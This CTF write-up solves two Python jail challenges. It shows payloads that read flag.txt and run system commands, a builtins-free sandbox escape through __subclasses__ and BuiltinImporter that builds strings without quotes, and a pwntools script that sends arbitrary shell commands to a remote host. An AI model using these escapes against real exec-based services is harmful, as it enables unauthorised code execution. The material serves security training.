Input as a Service
Initial Assessment
The challenge provides a remote IP and a port to connect. After connecting with nc
we get the following prompt:
1
2
3
4
2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0]
Do you sound like an alien?
>>>
After providing a random string of characters we get the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0]
Do you sound like an alien?
>>>
asdasd
Traceback (most recent call last):
File "input_as_a_service.py", line 16, in <module>
main()
File "input_as_a_service.py", line 12, in main
text = input(' ')
File "<string>", line 1, in <module>
NameError: name 'asdasd' is not defined
Exploitation
This seems to be a Python2 shell that execs every input we give. So we want to either execute commands on the host system or just read the flag.txt
file. Solution 1
1
2
3
4
5
6
7
8
2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0]
Do you sound like an alien?
>>>
open('flag.txt', 'r').read()
CHTB{4li3n5_us3_pyth0n2.X?!}\n
0
Solution 2
1
2
3
4
5
6
7
8
2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0]
Do you sound like an alien?
>>>
__import__('os').system('cat flag.txt')
CHTB{4li3n5_us3_pyth0n2.X?!}
0
Challenge Code
Note that this is not the original code of the challenge as I forgot to grab it, but it is quite similar:
#!/usr/bin/python2.7
from sys import version
def main():
print('{0}\n'.format(version))
print('Do you sound like an alien?\n')
for _ in range(2):
text = input('>>> ').lower()
exec(text)
if __name__ == "__main__":
main()
Build yourself in
Initial Assessment
This challenge also provides a remote IP and a port to connect. After connecting with nc
we get the following prompt:
1
2
3
4
5
6
7
8
9
10
11
12
13
3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110]
[*] Only 👽 are allowed!
>>> asd
Traceback (most recent call last):
File "/home/sarange/apocalypse/build_yourself_in/chal.py", line 16, in <module>
main()
File "/home/sarange/apocalypse/build_yourself_in/chal.py", line 13, in main
exec(text, {'__builtins__': None, 'print':print})
File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable
This seems quite similar but the exec(text, {'__builtins__': None, 'print':print})
hints that the only builtin function available to us is the print function, so we cannot __import__('os')
again. We can try to climb the object tree using one class that we can access.
- We can use a tuple
()
instance to get a reference to an object.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
In [1]: dir(()) Out[1]: ['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'count', 'index']
- Using the
__class__
attribute we can get to the class of the instance of the reference of tuple that we have.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
In [2]: dir(().__class__) Out[2]: ['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'count', 'index']
- Using the
__base__
attribute we can get to the base class of the class tuple.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
In [3]: dir(().__class__.__base__) Out[3]: ['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'
- Now we can use the
__subclasses__
function that gives us access to the imported modules.1 2
In [4]: ().__class__.__base__.__subclasses__ Out[4]: <function object.__subclasses__()>
Putting all together, we have ().__class__.__base__.__subclasses__()
. Lets print it’s output:
1
2
3
4
5
6
7
8
3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110]
[*] Only 👽 are allowed!
>>> print(().__class__.__base__.__subclasses__())
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>]
>>>
After examining the classes available to us, we can see that the class <class '_frozen_importlib.BuiltinImporter'>
is in the list. We can use that to import modules with the load_module
function. So let’s send the whole payload:
1
2
3
4
5
6
7
8
9
3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110]
[*] Only 👽 are allowed!
>>> ().__class__.__base__.__subclasses__()[84]().load_module('os').system('ls')
â›” No quotes are allowed! â›”
Exiting..
Hmm, no quotes are allowed, so we need to build our strings without using quotes. Remember we cannot use the chr
, str
or any other useful function because the builtins are now only the print
function.
Strings using class names
We will get the names of all the functions that we can access:
1
2
3
4
5
6
7
8
3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110]
[*] Only 👽 are allowed!
>>> print([c.__name__ for c in ().__class__.__base__.__subclasses__()])
['type', 'weakref', 'weakcallableproxy', 'weakproxy', 'int', 'bytearray', 'bytes', 'list', 'NoneType', 'NotImplementedType', 'traceback', 'super', 'range', 'dict', 'dict_keys', 'dict_values', 'dict_items', 'dict_reversekeyiterator', 'dict_reversevalueiterator', 'dict_reverseitemiterator', 'odict_iterator', 'set', 'str', 'slice', 'staticmethod', 'complex', 'float', 'frozenset', 'property', 'managedbuffer', 'memoryview', 'tuple', 'enumerate', 'reversed', 'stderrprinter', 'code', 'frame', 'builtin_function_or_method', 'method', 'function', 'mappingproxy', 'generator', 'getset_descriptor', 'wrapper_descriptor', 'method-wrapper', 'ellipsis', 'member_descriptor', 'SimpleNamespace', 'PyCapsule', 'longrange_iterator', 'cell', 'instancemethod', 'classmethod_descriptor', 'method_descriptor', 'callable_iterator', 'iterator', 'PickleBuffer', 'coroutine', 'coroutine_wrapper', 'InterpreterID', 'EncodingMap', 'fieldnameiterator', 'formatteriterator', 'BaseException', 'hamt', 'hamt_array_node', 'hamt_bitmap_node', 'hamt_collision_node', 'keys', 'values', 'items', 'Context', 'ContextVar', 'Token', 'MISSING', 'moduledef', 'module', 'filter', 'map', 'zip', '_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'BuiltinImporter', 'classmethod', 'FrozenImporter', '_ImportLockContext', '_localdummy', '_local', 'lock', 'RLock', 'WindowsRegistryFinder', '_LoaderBasics', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'PathFinder', 'FileFinder', 'ScandirIterator', 'DirEntry', '_IOBase', '_BytesIOBuffer', 'IncrementalNewlineDecoder', 'zipimporter', '_ZipImportResourceReader', 'Codec', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_abc_data', 'ABC', 'dict_itemiterator', 'Hashable', 'Awaitable', 'GenericAlias', 'AsyncIterable', 'async_generator', 'Iterable', 'bytes_iterator', 'bytearray_iterator', 'dict_keyiterator', 'dict_valueiterator', 'list_iterator', 'list_reverseiterator', 'range_iterator', 'set_iterator', 'str_iterator', 'tuple_iterator', 'Sized', 'Container', 'Callable', '_wrap_close', 'Quitter', '_Printer', '_Helper', 'DynamicClassAttribute', '_GeneratorWrapper', 'WarningMessage', 'catch_warnings', 'accumulate', 'combinations', 'combinations_with_replacement', 'cycle', 'dropwhile', 'takewhile', 'islice', 'starmap', 'chain', 'compress', 'filterfalse', 'count', 'zip_longest', 'permutations', 'product', 'repeat', 'groupby', '_grouper', '_tee', '_tee_dataobject', 'itemgetter', 'attrgetter', 'methodcaller', 'Repr', 'deque', '_deque_iterator', '_deque_reverse_iterator', '_tuplegetter', '_Link', 'partial', '_lru_cache_wrapper', 'partialmethod', 'singledispatchmethod', 'cached_property', 'ContextDecorator', '_GeneratorContextManagerBase', '_BaseExitStack', 'auto', 'Enum', 'Pattern', 'Match', 'SRE_Scanner', 'State', 'SubPattern', 'Tokenizer', 'Scanner', '_Final', '_Immutable', 'Generic', '_TypingEmpty', '_TypingEllipsis', 'Annotated', 'NamedTuple', 'TypedDict', 'typing.io', 'typing.re', 'Finder', 'Loader', 'ResourceReader']
>>>
By using a substring of the names we can construct the strings that we want, for example, we can get os
by doing:
1
'NoneType'[1] + 'bytes'[4]
The only problem is that we don’t have a dot and a space.
Getting the space character
One way to get a space is using the center
function of the class str
:
1
2
In [5]: 's'.center(3)
Out[5]: ' s '
Strings using docstrings
Another way to get string characters is from the docstrings, which we cann access with the __doc__
attribute of the classes and instances that have docstrings. For example we can get the docstring of an instance of a str
object:
1
2
In [6]: 's'.__doc__
Out[6]: "str(object='') -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrors is specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to 'strict'."
Exploit Development
Now we can build a crude script using pwntools to resolve the strings that we pass as variables as above and pass the command to the remote app:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from re import findall
context.log_level = 'critical'
addr = '138.68.132.86'
port = 31797
base = '().__class__.__base__.__subclasses__()'
def get_imports():
p = remote(addr, port)
p.recvuntil('>>>')
cmd = f'print([c.__name__ for c in ().__class__.__base__.__subclasses__()])'
p.sendline(cmd)
imports = findall(r"'(.*?)'", p.recvuntil('\n').decode('utf-8'))
return imports
def get_command(command):
out = []
for com in command:
go_on = True
num1 = 0
num2 = None
if com == ' ':
space = f'{base}[0].__name__[0].center(4)[0]'
out.append(space)
go_on = False
if com == '.':
space = f'{base}[0].__name__[0].__doc__[121]'
out.append(space)
go_on = False
for line in imports:
name = line.strip("'")
if com in name:
num2 = name.index(com)
break
else:
num1 += 1
num2 = None
if num2 is None and go_on:
raise Exception(f'Cannot find {com}')
if go_on:
out.append(f'{base}[{num1}].__name__[{num2}]')
return ' + '.join(out)
def exploit():
p = remote(addr, port)
command = input('> ').strip('\n')
while not command == 'exit':
p.recvuntil('>>>')
cmd = f'print({base}[84]().load_module({get_command("os")}).system({get_command(command)}))'
p.sendline(cmd)
print(p.recvuntil('\n0\n').decode('utf-8'))
p = remote(addr, port)
command = input('> ').strip('\n')
imports = get_imports()
exploit()
Note that the above script can be better if I only used the docstrings ot get hte substrings, but I think that the other two ways acquiring strings are worth using.
Challenge Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3.8
from sys import version
def main():
print(f'{version}\n')
print('[*] Only \U0001F47D are allowed!\n')
for _ in range(2):
text = input('>>> ').lower()
if "'" in text or '"' in text:
if "'" in text or '"' in text:
print('\U000026D4 No quotes are allowed! \U000026D4\n\nExiting..\n')
break
else:
exec(text, {'__builtins__': None, 'print':print})
if __name__ == "__main__":
main()